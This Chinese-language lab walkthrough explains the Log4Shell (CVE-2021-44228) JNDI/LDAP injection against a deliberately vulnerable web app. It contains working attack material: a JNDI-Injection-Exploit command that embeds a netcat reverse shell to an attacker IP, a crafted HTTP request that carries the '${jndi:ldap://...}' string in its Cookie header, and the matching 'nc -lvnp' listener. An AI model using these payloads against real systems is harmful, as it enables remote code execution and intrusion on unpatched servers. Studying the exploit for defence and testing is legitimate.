JNDI(Java Naming and Directory Interface )接口为Java应用程序提供API,可用于绑定远程对象、查询对象以及检测同一对象的更改。下面结合CVE-2021-44228说明怎样使用JNDI注入,重点关注LDAP。
通过将JNDI与LDAP结合,URL ldap://localhost:3XX/o能够从本地计算机上运行LDAP服务器控制检索远程对象并执行代码。
换句话说,攻击者可以做的是找到一些输入,譬如${jndi:ldap://attackerserver.com.com/x}
这允许攻击者从他们控制的LDAP服务器检索对象并执行代码。
输入可以是HTTP包头,如User-Agent,也可以是表单参数。
利用CVE-2021-44228
该漏洞允许我们从远程或本地计算机检索对象并在存在漏洞的应用程序上执行任意代码。
在开始利用前,攻击者需要控制LDAP服务器,其中有一个目标文件,包含想要下载和执行的代码。我们可使用JNDI-Injection-Exploit来启动LDAP服务器。
https://github.com/welk1n/JNDI-Injection-Exploit/
我们在 EC2 实例中运行它,该实例将由攻击者控制。使用netcat (nc) 命令,打开与易受攻击的应用程序的反向 shell 连接。
这是一个示例命令行:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “nc 54.243.12.192 8083 -e /bin/sh” -A “54.243.12.192”
LDAP 服务器托管指定的 URL,以便通过反向 shell 命令来使用和检索恶意代码。
我们为真实场景部署的 Web 应用程序使用易受攻击的 log4j版本,它记录 User-Agent、Cookie 和 X-Api-Server 的内容。
我们使用的网络应用程序可以在这里下载。
https://github.com/darryk10/log4shell-vulnerable-app
易受攻击的 Web 服务器正在端口 8080 上使用 Docker 容器运行。通过利用Burp Suite,我们可以通过 LDAP 服务器上托管的 URL制作请求负载。让我们尝试注入 cookie 属性,看看是否能够在易受攻击的计算机上打开反向 shell 。
GET / HTTP/1.1
Host: XXXX:8080
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
X-Api-Version: aaa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: test='${jndi:ldap://54.243.12.192:1389/0z6aep}'
Connection: close
上面是我们发送的 HTTP 请求,经过 Burp Suite 修改。Cookie参数中添加了log4j攻击字符串。
在发送精心设计的请求之前,我们需要使用 nc 命令设置反向 shell 连接以侦听端口 8083。
nc -lvnp 8083
我们现在可以发送精心设计的请求,看到 LDAP 服务器收到了来自应用程序的调用,并且 JettyServer提供了包含反向 shell 的 nc 命令的远程类。
https://www.eclipse.org/jetty/
我们可以在攻击机器上看到我们成功打开了与易受攻击的应用程序的连接。
现在,我们有能力与机器交互并执行任意代码。